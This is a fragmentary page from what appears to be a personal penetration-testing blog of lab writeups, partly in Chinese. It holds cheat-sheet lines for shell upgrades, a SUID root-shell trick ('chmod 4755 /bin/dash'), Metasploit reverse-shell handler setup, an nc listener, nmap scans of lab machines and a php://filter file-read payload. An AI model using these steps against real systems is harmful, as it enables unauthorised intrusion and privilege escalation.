AMM Lab

%s/{old}/{new}/g IFS={xx} TODO python -c 'import pty;pty.spawn("/bin/bash")' ctrl+z stty raw -echo;fg chmod 4755 /bin/dash dash cd /root/ // 还可以现写命令执行 int main(

use exploit/multi/handler set PAYLOAD <Payload name set RHOST <Remote IP set LHOST <Local IP set LPORT <Local Port run nc -lnvp <Local IP msfvenom -p linux/x86/

TODO

nmap -A -p- -oA nmap/tcp 10.10.10.140 - 22: OpenSSH 7.2p1，版本较高 - 80: apache 2.4.18，版本较高，web 页面 title Home page nmap -A -p- -oA nmap/udp 10.10.10.140

php://filter/covert.base64-encode/resource={papgename} 的操作为啥不能用？待了解。 nmap -A -p- -oA nmap/tcp 10.10.10.123 开放端口不少，可能是一个比较灵活的盒子。 - 21: vsftpd 3.0.3，版本较高 - 22: Op

记录一些关键更新。 我擦，咕了一年没脸看，主要还是懒得写，现在重启。 - 往后的解题报告过程会简化，以进攻路线为主。问就是靶场实在太多写不过来了，至少短期是这样。 - 技巧和笔记方面会多写。 简化 writeup 系列文章章节标题描述：漏洞枚举 - 枚举，Getshell - 立足点。 writeup 系列文章结构变更